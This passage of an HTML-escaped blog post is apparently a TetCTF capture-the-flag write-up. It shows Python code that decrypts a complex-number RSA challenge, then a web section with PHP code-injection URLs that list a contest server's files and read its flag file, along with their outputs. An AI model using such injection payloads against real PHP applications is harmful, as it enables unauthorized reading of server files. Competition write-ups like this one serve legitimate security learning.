#ce9178;&quot;&gt;H&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x9b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x1c\xc4\xab\xc0\xaf\x8a&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;5XcX&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x19&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;K&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xed\x19\xe1\x1c\xd0\x1e\x97&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x9f&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;F:L&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x9d\x90&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x99\xb8\xde\xcb&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;lM&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xb3\x80&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;sSL&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xe1\xa4\xd6&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x81\xd6\x9c\xf1\xbb\x9c&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xf0&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x15&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc0\xd5&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x13\xd6&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xb7\x19\xde&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;a%&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xce&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x1c\xf7\xf2&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;!;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc1\xd7&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;w&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xd1\xc8\x8d&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xae&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;w&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xa1\x1d\xc5&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc8\x9d\x82&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xf6&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;j&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x90&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;A,e&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xbd\xa7&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x10\x8f\xe5\xe7\x93&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;}:&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xdf&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;1~&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xec\xd0&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;-o`&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\r\x96\xe4\x03\xb9&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;E&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x9f&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;dF&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc3\xf8&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;L&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xa0\xda\xf0&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;E[&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xf7\x02\xef&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;|*&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x08\x8a&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;5pI&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xa9&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x0f&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;Z&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xa8\xb3&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;H&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xed\xe8&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;v&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc4&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;H&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xff\xdb\xcb\x00\xf1\xae\x9b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;O&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x18\xd5\xd8&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;amp;p&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xf5\xf6\xe9\xf1\x1b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;rs&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc2\r\xce&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;Z&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xd0\xb2&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x97&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x98&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x0e\xbb\xb8&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x8d&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;T&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xe4&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xad\xe4\xa3&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xd0&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;M&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xbf\xaf&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;X&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xbb&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;[&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x99\xda&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xa5\xcf&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;T2Wx&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x87&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;M&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x7f\x99&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;!&amp;gt;B[Q&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x04\xf6\x03\xbc\x84\xf4\xdf&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;j&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xdd&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;1^I&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x1a\x05\x81\x91\xde&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;9Mf*&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x8e\x8d\xe6&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xf8\x93\x99&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;amp;yP&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xcd\x00&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x82\xab\xbc&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xed\xf1\x13\xd3\x81\xea&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;z&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xbb&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;P&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x9a&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x8c\x08\x0e&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xbc\xa9\xf6\xa3\x8c\xb0\xb9&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xd9&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x06&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xc9\x90\xb7\xa7&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x85\xeb\x1a\x88&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x1c\xc3&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xec\xc7\x94&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x99\xd6\x8e&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x06\xf8&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;Y&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xf4\x19\xca&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;I/hy&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x18\x8e\x0e&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\xf8\r\xbb\xf6\x11\xb9\x8d&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;CWB6&amp;nbsp;'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;complex_mult&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;c1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;c2&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;modulus&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;Complex(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(c1.re&amp;nbsp;*&amp;nbsp;c2.re&amp;nbsp;-&amp;nbsp;c1.im&amp;nbsp;*&amp;nbsp;c2.im)&amp;nbsp;%&amp;nbsp;modulus,&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;#&amp;nbsp;real&amp;nbsp;part&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(c1.re&amp;nbsp;*&amp;nbsp;c2.im&amp;nbsp;+&amp;nbsp;c1.im&amp;nbsp;*&amp;nbsp;c2.re)&amp;nbsp;%&amp;nbsp;modulus,&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;#&amp;nbsp;image&amp;nbsp;part&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;complex_pow&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;c&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;exp&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;modulus&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;result&amp;nbsp;=&amp;nbsp;Complex(&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;exp&amp;nbsp;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;exp&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;result&amp;nbsp;=&amp;nbsp;complex_mult(result,&amp;nbsp;c,&amp;nbsp;modulus)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c&amp;nbsp;=&amp;nbsp;complex_mult(c,&amp;nbsp;c,&amp;nbsp;modulus)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exp&amp;nbsp;&amp;gt;&amp;gt;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;result&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;unpad&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;data&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;assert&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x00&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;data,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;incorrect&amp;nbsp;padding&quot;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;data.split(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x00&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;decrypt&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;private_key&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;ciphertext&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;n&amp;nbsp;=&amp;nbsp;public_key&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p,&amp;nbsp;q&amp;nbsp;=&amp;nbsp;private_key&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d&amp;nbsp;=&amp;nbsp;inverse_mod(&lt;span style=&quot;color: #b5cea8;&quot;&gt;65537&lt;/span&gt;,&amp;nbsp;p**&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;*q**&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;*(p**&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)*(q**&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c&amp;nbsp;=&amp;nbsp;Complex(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bytes_to_long(ciphertext[:&lt;span style=&quot;color: #dcdcaa;&quot;&gt;len&lt;/span&gt;(ciphertext)&amp;nbsp;//&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;]),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bytes_to_long(ciphertext[&lt;span style=&quot;color: #dcdcaa;&quot;&gt;len&lt;/span&gt;(ciphertext)&amp;nbsp;//&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;:])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m&amp;nbsp;=&amp;nbsp;complex_pow(c,&amp;nbsp;d,&amp;nbsp;n)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;unpad(long_to_bytes(m.re)&amp;nbsp;+&amp;nbsp;long_to_bytes(m.im))&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;flag&amp;nbsp;=&amp;nbsp;decrypt(private_key,&amp;nbsp;ciphertext)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;print&lt;/span&gt;(flag)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;__name__&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'__main__'&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;main()&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;Flag: TetCTF{c0unt1ng_1s_n0t_4lw4ys_34sy-vina:*100*48012023578024#}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;WEB :: HPNY&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://139.180.155.171:8003/?roll=var_dump(scandir(getcwd())).die&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: 1px solid #D8D8D8; border-radius: 4px; background-color: #f8f8f8;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #000000;&quot;&gt;array(4) { [0]=&amp;gt; string(1) &quot;.&quot; [1]=&amp;gt; string(2) &quot;..&quot; [2]=&amp;gt; string(39) &quot;fl4g_here_but_can_you_get_it_hohoho.php&quot; [3]=&amp;gt; string(9) &quot;index.php&quot; }&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://139.180.155.171:8003/?aaa=bbb&amp;amp;roll=var_dump(get_defined_vars()).die&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: 1px solid #D8D8D8; border-radius: 4px; background-color: #f8f8f8;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #000000;&quot;&gt;array(5) { [&quot;_GET&quot;]=&amp;gt; array(2) { [&quot;aaa&quot;]=&amp;gt; string(3) &quot;bbb&quot; [&quot;roll&quot;]=&amp;gt; string(32) &quot;var_dump(get_defined_vars()).die&quot; } [&quot;_POST&quot;]=&amp;gt; array(0) { } [&quot;_COOKIE&quot;]=&amp;gt; array(0) { } [&quot;_FILES&quot;]=&amp;gt; array(0) { } [&quot;wl&quot;]=&amp;gt; int(1) }&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://139.180.155.171:8003/?aaa=fl4g_here_but_can_you_get_it_hohoho.php&amp;amp;roll=readfile(pos(pos(get_defined_vars()))).die&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;Flag: TetCTF{lixi_50k_&amp;lt;3_vina_*100*25926415724382#}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;WEB :: Super Calc&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열을 xor 연산할 수 있는 PHP의 특징을 잘 써먹으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 도구를 만들어서 글자 하나를 적절한 조합으로 바꿔주게 했다.&lt;/p&gt;
